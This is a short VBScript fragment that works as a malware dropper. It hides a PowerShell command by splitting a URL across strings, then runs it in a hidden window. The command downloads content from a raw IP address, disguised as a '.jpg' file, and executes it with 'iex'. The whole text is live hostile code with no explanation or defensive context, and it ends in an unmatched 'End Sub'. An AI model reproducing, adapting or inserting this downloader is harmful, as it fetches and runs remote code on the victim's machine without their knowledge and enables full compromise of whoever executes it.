on error resume next
strPath0 = "powershell "
strAttr1 = "$url = 'http://185';"
strAttr2 = "$url1 = '.81.157.213:222/a3.jpg';"
strAttr3 = "$wc = (new-object System.Net.WebClient);"
strAttr4 = "$wc.DownloadString($url+$url1) | iex"
Set objShell = CreateObject ("WScript.shell")
objShell.Run strPath0 & strAttr1 & strAttr2 & strAttr3 & strAttr4 , 0, True
End Sub